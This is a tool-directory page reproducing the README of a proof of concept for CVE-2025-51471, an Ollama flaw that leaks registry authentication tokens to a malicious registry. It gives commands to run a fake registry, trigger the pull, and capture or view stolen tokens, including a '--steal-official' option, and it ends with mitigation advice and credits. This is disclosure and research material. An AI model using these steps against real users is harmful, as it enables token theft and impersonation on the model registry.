Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-51471-POC — This PoC is for educational and authorized security testing purposes only. Do NOT use against systems you don't own. | Kitploit
Tools/GitHubGitHub/ajtazer/cve-2025-51471-poc
Vulnerability AnalysisExploitationWeb SecurityAuthenticationRed Teaming
GitHubajtazer/cve-2025-51471-poc

CVE-2025-51471-POC

This PoC is for educational and authorized security testing purposes only. Do NOT use against systems you don't own.

View Repository
228 months agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-51471 - Ollama Cross-Domain Token Exposure PoC

CVE-2025-51471 Ollama CVSS

Author: ajtazer

🔥 Overview

This repository contains a Proof of Concept (PoC) for CVE-2025-51471, a Cross-Domain Authentication Token Exposure vulnerability that affects all versions of Ollama (including the latest).

📋 Vulnerability Description

When Ollama pulls a model from an HTTPS server that responds with 401 Unauthorized, it follows the WWW-Authenticate header's realm URL without validating if it belongs to the same domain[...]

This allows an attacker to:

  1. Set up a malicious "registry" server
  2. Trick a user into pulling a model from that server
  3. Return a 401 response with a WWW-Authenticate header pointing to attacker-controlled endpoint
  4. Ollama blindly sends its Ed25519 signed authentication token to the attacker
  5. The attacker captures the token

Impact

  • Access private models on registry.ollama.ai
  • Push malicious models under the victim's identity
  • Impersonate the victim on the Ollama registry

🚀 Quick Start

Prerequisites

  • Python 3.7+
  • Flask (pip install flask)
  • Ollama (any version)

Installation

root@kitploit:~
git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask

Running the PoC

  1. Start the malicious registry server (HTTP mode):
root@kitploit:~
python3 malicious_registry.py --no-ssl
  1. In another terminal, ensure Ollama is running:
root@kitploit:~
ollama serve
  1. Trigger the vulnerability:
root@kitploit:~
# Using curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'

# OR using ollama CLI
ollama pull --insecure localhost:8080/malicious/model
  1. Watch the server terminal for captured tokens!

🎬 Demo (PoC Video)

I demonstrated this PoC in a short video — watch it here:

YouTube — PoC demo

Note (macOS HTTPS mode): If using HTTPS mode, add the generated cert to your keychain or use HTTP mode with --no-ssl.

📖 Usage Options

root@kitploit:~
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]

Options:
  --port, -p PORT       Port to listen on (default: 8080)
  --no-ssl              Use HTTP instead of HTTPS
  --steal-official, -s  Redirect to steal registry.ollama.ai tokens
  --no-verbose          Disable verbose output

🔧 API Endpoints

EndpointDescription
/v2/*Fake registry endpoint (triggers exploit)
/v2/tokenToken capture endpoint
/tokensView all captured tokens (JSON)
/healthServer health check

🛡️ Mitigation

  1. Only pull models from trusted sources
  2. Be cautious when pulling models from third-party registries
  3. See PR #10750 for the official fix

📝 Credits

  • Author: ajtazer
  • Original Researchers:
    • Mohammed Benhelli (@FuzzingLabs)
    • Patrick Ventuzelo (@FuzzingLabs)
    • Huntr Report

⚠️ Disclaimer

This PoC is for educational and authorized security testing purposes only. Do NOT use against systems you don't own.


Made with ❤️ using Antigravity

Download Tool